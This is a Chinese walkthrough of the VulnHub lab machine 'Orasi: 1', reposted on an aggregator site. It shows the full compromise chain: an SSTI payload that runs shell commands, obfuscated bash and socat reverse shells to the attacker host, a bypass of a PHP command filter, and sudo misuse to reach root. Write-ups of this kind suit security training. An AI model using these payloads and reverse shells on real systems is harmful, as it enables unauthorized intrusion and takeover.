vulnhub靶场之ORASI: 1

这篇具有很好参考价值的文章主要介绍了vulnhub靶场之ORASI: 1。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

准备:

攻击机:虚拟机kali、本机win10。

靶机:Orasi: 1,下载地址:https://download.vulnhub.com/orasi/Orasi.ova,下载后直接vbox打开即可。

知识点:hex编码、ida逆向、AndroidKiller逆向、ffuf爆破、ssti漏洞、shell反弹、敏感信息发现、信息利用。

隐藏信息:Hint : just one useless little dot,在下载时发现的。

vulnhub靶场之ORASI: 1

一:信息收集

1.nmap扫描

使用nmap扫描下靶机地址,命令:nmap -sn 192.168.5.0/24,发现靶机地址:192.168.5.156。

vulnhub靶场之ORASI: 1

使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.5.156,显示开放了21端口、22端口、80端口、5000端口,开启了ftp服务、ssh服务、http服务。其中ftp服务显示允许匿名登录。

vulnhub靶场之ORASI: 1

2.ftp服务

使用nmap获得的信息匿名登录ftp服务,命令:ftp 192.168.5.156,登录到ftp服务后发现一个url文件,将该文件下载到本地。

vulnhub靶场之ORASI: 1

执行下载的url文件,返回信息,告诉我们有些事情不太明显,将文件复制到本地使用ida进行逆向,但是查看其伪代码时未发现可以利用的信息。

Sometimes things are not obvious
Element found: 36

 

逆向伪代码
 #逆向的伪代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
  init = (__int64)malloc(8uLL);
  *(_BYTE *)init = 111;
  *(_DWORD *)(init + 4) = -1;
  insert(1LL, 47LL);
  insert(2LL, 115LL);
  insert(42LL, 104LL);
  insert(4LL, 52LL);
  insert(12LL, 100LL);
  insert(14LL, 48LL);
  insert(17LL, 119LL);
  insert(18LL, 36LL);
  insert(19LL, 115LL);
  puts("Sometimes things are not obvious");
  item = search(18LL);
  if ( item )
    printf("Element found: %d\n", (unsigned int)*(char *)item);
  else
    puts("Element not found");
  return 0;
}

习惯了先看伪代码,但是这里没发现什么有用的信息,后面在程序逻辑图(ida view-1)中发现其寄存器的值连起来是:/sh4d0w$s,猜测是一个目录信息。

vulnhub靶场之ORASI: 1

3.web访问

访问下80端口和5000端口的web服务并分别访问下/sh4d0w$s目录,在http://192.168.5.156/得到一组信息:6 6 1337leet,暂时不知道作用,在http://192.168.5.156:5000/sh4d0w$s得到提示信息:not input,告诉我们缺少输入。

vulnhub靶场之ORASI: 1vulnhub靶场之ORASI: 1

vulnhub靶场之ORASI: 1vulnhub靶场之ORASI: 1

4.参数爆破

那就直接使用ffuf进行爆破,命令:ffuf -w /usr/share/SecLists/Discovery/Web-Content/common.txt -u 'http://192.168.5.156:5000/sh4d0w\$s?FUZZ=../../../../../etc/passwd' -fs 8,但是未爆破出来。

vulnhub靶场之ORASI: 1

后面想到在http://192.168.5.156/得到一组信息:6 6 1337leet,这里想了一下应该是告诉我们参数是6位,由1337leet中的六位组成的意思,后面想到了字典生成工具crunch,那就生成一个字典,命令:crunch 6 6 1337leet > cs.txt,然后继续使用ffuf进行爆破,最后成功获得参数:l333tt。

vulnhub靶场之ORASI: 1

二:获取shell

1.ssti注入

在http://192.168.5.156:5000/sh4d0w$s页面传递l333tt参数为id,http://192.168.5.156:5000/sh4d0w$s?l333tt=id,但是返回了传入的值,未进行执行。

vulnhub靶场之ORASI: 1

测试下是否是ssti注入漏洞,将传递的id修改为:{{3*3}},发现3*3被执行,因此这里存在ssti注入漏洞。

vulnhub靶场之ORASI: 1

在网上查找下ssti注入可以利用的语句,然后进行访问看是否可以正常执行我们输入的命令。

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("id").read().zfill(417)}}{%endif%}{% endfor %}

vulnhub靶场之ORASI: 1

2.shell反弹

现在可以执行我们的命令了那我们就直接进行shell反弹,这里需要对shell反弹语句进行编码,然后在靶机中开启对6688端口的监听,然后访问:http://192.168.5.156:5000/sh4d0w$s?l333tt={%%20for%20x%20in%20().__class__.__base__.__subclasses__()%20%}{%%20if%20%22warning%22%20in%20x.__name__%20%}{{x()._module.__builtins__[%27__import__%27](%27os%27).popen(%22\142\141\163\150\40\55\143\40\47\142\141\163\150\40\55\151\40\76\46\40\57\144\145\166\57\164\143\160\57\61\71\62\56\61\66\70\56\65\56\61\65\60\57\66\66\70\70\40\60\76\46\61\47%20%22).read().zfill(417)}}{%endif%}{%%20endfor%20%}即可获得shell权限。

#字符编码代码,替换下strings即可,后面还要用到这个
oct_result,dec_result,hex_result,bin_result = '','','',''
strings = "import os;os.system('/bin/bash -i');"
#bash -i >& /dev/tcp/192.168.5.150/6688 0>&1
for string in strings:
    one_char = ord(string)
    dec_result = dec_result + str(one_char) + ' '
    oct_result = oct_result + str(oct(one_char).replace('0o','\\'))
    hex_result = hex_result + hex(one_char).replace('0x','')
    bin_result = bin_result + bin(one_char) + ' '
print('十进制数据:' + dec_result)
print('八进制数据:' + oct_result)
print('十六进制数据:' + hex_result)
print('二进制数据:' + bin_result)
#原语句
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("bash -c 'bash -i >&/dev/tcp/192.168.5.150/6688 0>&1'").read().zfill(417)}}{%endif%}{% endfor %}

#shell反弹语句编码后的语句
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("\142\141\163\150\40\55\143\40\47\142\141\163\150\40\55\151\40\76\46\40\57\144\145\166\57\164\143\160\57\61\71\62\56\61\66\70\56\65\56\61\65\60\57\66\66\70\70\40\60\76\46\61\47
").read().zfill(417)}}{%endif%}{% endfor %}

vulnhub靶场之ORASI: 1

 三:提权

1.提权-kori

使用sudo -l查看下当前账户是否存在可以使用的特权命令,发现存在:(kori) NOPASSWD: /bin/php /home/kori/jail.php *。

vulnhub靶场之ORASI: 1

 分析下jail.php文件,使用exec执行了我们输入的参数,但是对参数进行了过滤,不能出现|bash|eval|nc|whoami等字符。

<?php
array_shift($_SERVER['argv']);
$var = implode(" ", $_SERVER['argv']);

if($var == null) die("Orasis Jail, argument missing\n");

function filter($var) {
        if(preg_match('/(`|bash|eval|nc|whoami|open|pass|require|include|file|system|\/)/i', $var)) {
                return false;
        }
        return true;
}
if(filter($var)) {
        $result = exec($var);
        echo "$result\n";
        echo "Command executed";
} else {
        echo "Restricted characters has been used";
}
echo "\n";
?>

 开始使用下面几个要么能连但是权限不对,要不就连上之后无法执行命令,接着换shell语句尝试,最后发现socat TCP:192.168.5.150:8899 EXEC:sh可以,然后获得新的shell权限并成功提权到kori权限。

#出现问题
sudo -u kori /bin/php /home/kori/jail.php sh -i >& /dev/tcp/192.168.5.150/8899 0>&1
sudo -u kori /bin/php /home/kori/jail.php 0<&196;exec 196<>/dev/tcp/192.168.5.150/88991; sh <&196 >&196 2>&196

#最后发现这个可以
sudo -u kori /bin/php /home/kori/jail.php socat TCP:192.168.5.150:8899 EXEC:sh

vulnhub靶场之ORASI: 1

2.提权-irida

继续使用sudo -l查看下当前账户是否存在可以使用的特权命令,发现存在:(irida) NOPASSWD: /usr/bin/cp /home/irida/irida.apk /home/kori/irida.apk。

vulnhub靶场之ORASI: 1

那就直接将该apk文件复制到/home/kori目录下,命令:sudo -u irida /usr/bin/cp /home/irida/irida.apk /home/kori/irida.apk,但是显示不被允许。

vulnhub靶场之ORASI: 1

这里应该是irida账户缺少对kori目录的写入权限,那我们就赋予irida账户写入权限,命令chmond o+w /home/kori,然后建立一个irida.apk文件,命令:touch irida.apk,然后赋予777权限,不然复制的文件还是缺少权限,然后将该文件复制过来,命令:sudo -u irida /usr/bin/cp /home/irida/irida.apk /home/kori/irida.apk。

vulnhub靶场之ORASI: 1

在靶机中开启http服务:python3 -m http.server,将apk文件下载到本地,然后使用AndroidKiller进行逆向分析。使用AndroidKiller工具时需要安装java环境并且需要替换下*\AndroidKiller\bin\apktool\apktool目录下的文件并修改apktool.bat、apktool.ini的指向,不然无法逆向时会失败。替换的文件地址:链接:https://pan.baidu.com/s/1QEM6bYkcHLPtz6PkFlwC5Q,提取码:upfn。

vulnhub靶场之ORASI: 1

在找到的文件中右键查看-查看源码中观察源码信息,代码的意思是:传入了1#2#3#4#5,然后以#进行拆分,然后对五个参数赋值,再然后通过.将五个参数连接起来,结果就是:eye.of.the.tiger.()。

vulnhub靶场之ORASI: 1

直接使用eye.of.the.tiger.()作为密码来切换到irida账户时会报错,这时想起来开始在下载页面看到的提示信息:Hint : just one useless little dot,告诉我们只有一个无用的点,那我们依次尝试,最后发现正确的密码是:eye.of.the.tiger(),然后成功切换到irida账户。

vulnhub靶场之ORASI: 1

获得irida账户权限后在/home/irida目录下读取user.txt文件,成功获得flag值。

vulnhub靶场之ORASI: 1

3.提权-root

继续使用sudo -l查看下当前账户是否存在可以使用的特权命令,发现存在:(root) NOPASSWD: /usr/bin/python3 /root/oras.py。

vulnhub靶场之ORASI: 1

那我们就直接运行下/root/oras.py文件,命令:sudo /usr/bin/python3 /root/oras.py,随便输入参数,回显告诉我们要输入hexstr。

vulnhub靶场之ORASI: 1

那我们随便输入一个hex字符:69进行测试,根据报错信息我们得知执行的是exec函数。

vulnhub靶场之ORASI: 1

那就将import os;os.system("/bin/bash -i");代码进行hash编码,然后输入执行,成功提权到root账户。

vulnhub靶场之ORASI: 1

获得root权限后在/root目录下发现root.txt文件,读取该文件成功获得flag值。

vulnhub靶场之ORASI: 1文章来源地址https://www.toymoban.com/news/detail-410646.html

到了这里,关于vulnhub靶场之ORASI: 1的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • vulnhub靶场搭建

    sudo apt install docker.io 3、验证安装 docker-v 4、安装docker-compose pip install docker-compose 5、拉取镜像 git clone https://github.com/vulhub/vulhub.git 6、进行测试 cd vulnhub docker-compose up -d 7、your-ip 换自己的IP 8、使用完后卸载 docker-compose down -d 步骤如上。。。 在调试过程中 在WSL2的Ubuntu上遇到此错

    2024年02月10日
    浏览(35)
  • vulnhub DC-9靶场

    目录 1.信息收集 2.漏洞发掘 3.横向渗透 4.提升权限 4.1构造用户行,写入/etc/passwd 4.2构造权限行,写入/etc/sudoers 扫描主机 sudo arp-scan -l 扫描端口,发现只有80端口 nmap -p- 192.168.42.150 扫描80开放的服务 nmap -p 80 -A -V 192.168.42.150 访问主页面 发现有查找功能,猜测此处有sql注入漏洞 测

    2024年02月05日
    浏览(37)
  • breach-1--vulnhub靶场

    一、环境搭建 下载靶场Breach: 1 ~ VulnHub 描述 VM 配置了静态 IP 地址 (192.168.110.140),因此需要将仅主机适配器配置到此子网。 网络设置也可用其他模式 网络模式:NAT 靶机地址: 192.168.110.140 kali地址:192.168.110.128 二、信息收集 (1)nmap 端口扫描 所有端口都开放,应该是对扫

    2024年02月15日
    浏览(44)
  • vulnhub DC-1靶场

    目录 1.扫描主机 2.得到shell(2.1,2.2)只用一种即可 2.1开始msf漏洞利用 2.2脚本exp得到反弹shell 3.开始提权 sudo arp-scan -l 扫描端口 nmap -p- 192.168.42.147 扫描主机指纹,发现Drupal 7 cms mfconsole search drupal search 7600 use exploit/unix/webapp/drupal_drupalgeddon2 set rhosts 192.168.42.147 run 看到这个,说

    2024年02月05日
    浏览(45)
  • vulnhub DC-4靶场

    目录 1.信息收集 2.漏洞利用 3.横向渗透 4.提升权限 搜索到ip sudo arp-scan -l 查看ip开放端口 nmap -p- 192.168.42.148 查找指纹,没有收获 查找目录,无敏感信息 访问网站,发现只有登录框,猜测为弱密码或密码爆破 bp爆破成功(为了节省时间,我假设知道username,爆破真的太慢了)

    2024年02月05日
    浏览(90)
  • 【VulnHub靶场】——CHRONOS: 1

    作者名:Demo不是emo  主页面链接 : 主页传送门 创作初心: 一切为了她 座右铭: 不要让时代的悲哀成为你的悲哀 专研方向: 网络安全,数据结构 每日emo: 要做个明亮的人,要有个珍藏的故事,要看遍山河日落,要不虚此行。  从10月中旬开始制定了 为期24周的打靶训练

    2024年02月09日
    浏览(36)
  • vulnhub DC-5靶场

    目录 1.信息收集 2.网站分析 3.漏洞利用 4.提升权限 扫描主机 sudo arp-scan -l 扫描端口 nmap -p- 192.168.42.149 扫描指纹 whatweb 192.168.42.149 查看端口详细服务 nmap -A -p- -v 192.168.42.149 扫描目录 dirbuster 浏览网站,发现都是静态页面 只有contact.php有上传窗口 尝试上传,发现问题copyright旁的

    2024年02月05日
    浏览(40)
  • vulnhub靶场之CROSSROADS: 1

    攻击机:虚拟机kali、本机win10。 靶机:Crossroads: 1,下载地址:https://download.vulnhub.com/crossroads/crossroads_vh.ova,下载后直接vbox打开即可。 知识点:stegoveritas工具使用、smb服务扫描、shell反弹、简单脚本编写。 使用nmap扫描下靶机地址,命令:nmap -sn 192.168.5.0/24,发现靶机地址:

    2023年04月14日
    浏览(10)
  • 【VulnHub靶场】Hackable: III

    在找到目标靶机后,我们首先使用nmap工具来进行初步的信息收集 Command used: nmap -sV -p- 192.168.31.180 通过扫描我们可以得知80端口是开启状态,访问后得到以下界面 查看其源代码 我们可以得到一条注释 “Please, jubiscleudo, don’t forget to activate the port knocking when exiting your section, an

    2023年04月09日
    浏览(30)
  • Vulnhub靶场DC-1练习

    下载链接:https://download.vulnhub.com/dc/DC-1.zip 介绍:There are five flags in total, but the ultimate goal is to find and read the flag in root’s home directory. You don’t even need to be root to do this, however, you will require root privileges.(一共有五个flags,最终目标是进入root用户的目录。) 启动以后如下图: 将

    2023年04月11日
    浏览(35)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包